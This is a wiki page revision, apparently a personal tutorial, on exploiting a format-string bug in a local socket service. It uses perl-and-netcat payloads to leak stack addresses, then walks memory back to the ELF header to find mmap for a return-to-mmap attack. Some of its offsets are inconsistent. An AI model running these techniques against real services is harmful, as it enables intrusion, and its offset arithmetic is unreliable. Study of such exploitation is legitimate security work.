Difference between revisions of "User:Hatter/format strings"
(One intermediate revision by one other user not shown) | |||
Line 96: | Line 96: | ||
* And so on and so forth.... | * And so on and so forth.... | ||
− | * Once the base pointer is calculated, add 0x129 to the location that originally pointed to the string "ELF". | + | * Once the base pointer is calculated, add 0x129 to the location that originally pointed to the string "ELF". Read the data at this location, this is the first dynamic program header in the loaded binary. If the first byte at the location is 0x05, you've found the export table. If not, add 0x10 to the pointer and continue until the program header to the export table is found. |
+ | |||
+ | * The location of the string table for the export table is located at the export program header + 0x8 | ||
+ | |||
+ | * The location of the symbol table for the export table is located at the export program header + 0x18 | ||
+ | |||
+ | * Dump the string table, counting the number of strings until the string "mmap". This can be dumped in hex to avoid null bytes from truncating the string. | ||
+ | |||
+ | * Multiply the "function counter" for mmap by 0x18 and add this to the address of the export symbol table. | ||
+ | |||
+ | * Add 0x10 to the newly isolated symbol table entry address | ||
+ | |||
+ | * The offset to mmap from the base pointer is located at the freshly calculated address to the symbol table entry's record and function pointer offset. | ||
+ | |||
+ | * By adding this offset to the location of the string ELF and subtracting 0x1, the address of '''mmap''' is calculated without the need to have it within the GOT. |
Latest revision as of 18:36, 4 December 2012
Once a vulnerability has been identified, determine the return pointer like so:
root /var/log # perl -e 'print "AAAA\n" . "%08p\n"x7;'|nc localhost 790 AAAA 0x7fffd1c1f430 0x7f567d0ed140 0xffffffff (nil) (nil) (nil) 0x7fffd1c1f938
In this case, there were no additional arguments passed to sprintf(), so we can deduce that 0x7fffd1c1f430 is the current stack pointer. Obviously if this is the second argument and there is no third argument, this indicates that the ret pointer is located at 0x7fffd1c1f438. So:
- Reverse and chop the address for binary : \x38\xf4\xc1\xd1\xff\x7f
- Arbitrarily set arguments using some pointer manipulation:
root /var/log # perl -e 'print "\x38\xf4\xc1\xd1\xff\x7f\n" . "%08p\n"x6 . "%8s\n\nPADDINGPADDINGPADDING\n";'|nc localhost 790|hexdump -C
00000000 38 f4 c1 d1 ff 7f 0a 30 78 37 66 66 66 64 31 63 |8......0x7fffd1c| 00000010 31 66 34 33 30 0a 30 78 37 66 35 36 37 64 30 65 |1f430.0x7f567d0e| 00000020 64 31 34 30 0a 30 78 66 66 66 66 66 66 66 66 0a |d140.0xffffffff.| 00000030 20 20 20 28 6e 69 6c 29 0a 20 20 20 28 6e 69 6c | (nil). (nil| 00000040 29 0a 20 20 20 28 6e 69 6c 29 0a 20 20 81 fc c1 |). (nil). ...| 00000050 d1 ff 7f 0a 0a 50 41 44 44 49 4e 47 50 41 44 44 |.....PADDINGPADD|
- Extract the return pointer - we know padding comes immediately after it, which
puts our return pointer on the following two lines:
00000040 29 0a 20 20 20 28 6e 69 6c 29 0a 20 20 81 fc c1 |). (nil). ...| 00000050 d1 ff 7f 0a 0a 50 41 44 44 49 4e 47 50 41 44 44 |.....PADDINGPADD|
- Trim and pack the pointer:
- Isolate the bytes:
- The most recent return pointer (inside the binary's stack) is 0x7fffd1c1fc81
- \x81\xfc\xc1\xd1\xff\x7f
20 20 81 fc c1 |). (nil). ...| 00000050 d1 ff 7f 0a 0a
Now that we know the return pointer, there are a few things that can be quickly inferred due to our knowledge of the ELF64 binary file format. In review:
- The base pointer always ends in two zero's, at offset 0x1 from the base pointer is the string ELF.
- The program header size is stored in the ELF header.
- At offset 0x130 + base is always the first program header pointing to the dynamic section.
- The first byte of the program header for an export table is 0x05
- It is highly probable that libc's SSP etc are active, and so our "return pointer" probably points somewhere inside of libc
We'll want to utilize the classic "ret-to-mmap" attack, but mmap may not imported by the vulnerable application. In this case, it isn't:
root /home/vorhees/format_strings # objdump -R socket-failure socket-failure: file format elf64-x86-64 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 00000000006011c8 R_X86_64_GLOB_DAT __gmon_start__ 0000000000601270 R_X86_64_COPY stderr 00000000006011e8 R_X86_64_JUMP_SLOT puts 00000000006011f0 R_X86_64_JUMP_SLOT write 00000000006011f8 R_X86_64_JUMP_SLOT htons 0000000000601200 R_X86_64_JUMP_SLOT read 0000000000601208 R_X86_64_JUMP_SLOT __libc_start_main 0000000000601210 R_X86_64_JUMP_SLOT listen 0000000000601218 R_X86_64_JUMP_SLOT bind 0000000000601220 R_X86_64_JUMP_SLOT perror 0000000000601228 R_X86_64_JUMP_SLOT accept 0000000000601230 R_X86_64_JUMP_SLOT atoi 0000000000601238 R_X86_64_JUMP_SLOT sprintf 0000000000601240 R_X86_64_JUMP_SLOT exit 0000000000601248 R_X86_64_JUMP_SLOT fwrite 0000000000601250 R_X86_64_JUMP_SLOT fork 0000000000601258 R_X86_64_JUMP_SLOT socket
That's 100% ok. Because we can read data from arbitrary locations, we can calculate the absolute address of mmap ANYWAY.
- Starting with: \x81\xfc\xc1\xd1\xff\x7f
- We can deduce that the first potential location of the base pointer is at \x00\xf0\xc1\xd1\xff\x7f
- Since we don't want to use a null, for the moment:
\x01\xf0\xc1\xd1\xff\x7f
- If we get the string ELF, we've found our ELF header! If not, we check the next iteration backwards:
\x01\xe0\xc1\xd1\xff\x7f
- And so on and so forth....
- Once the base pointer is calculated, add 0x129 to the location that originally pointed to the string "ELF". Read the data at this location, this is the first dynamic program header in the loaded binary. If the first byte at the location is 0x05, you've found the export table. If not, add 0x10 to the pointer and continue until the program header to the export table is found.
- The location of the string table for the export table is located at the export program header + 0x8
- The location of the symbol table for the export table is located at the export program header + 0x18
- Dump the string table, counting the number of strings until the string "mmap". This can be dumped in hex to avoid null bytes from truncating the string.
- Multiply the "function counter" for mmap by 0x18 and add this to the address of the export symbol table.
- Add 0x10 to the newly isolated symbol table entry address
- The offset to mmap from the base pointer is located at the freshly calculated address to the symbol table entry's record and function pointer offset.
- By adding this offset to the location of the string ELF and subtracting 0x1, the address of mmap is calculated without the need to have it within the GOT.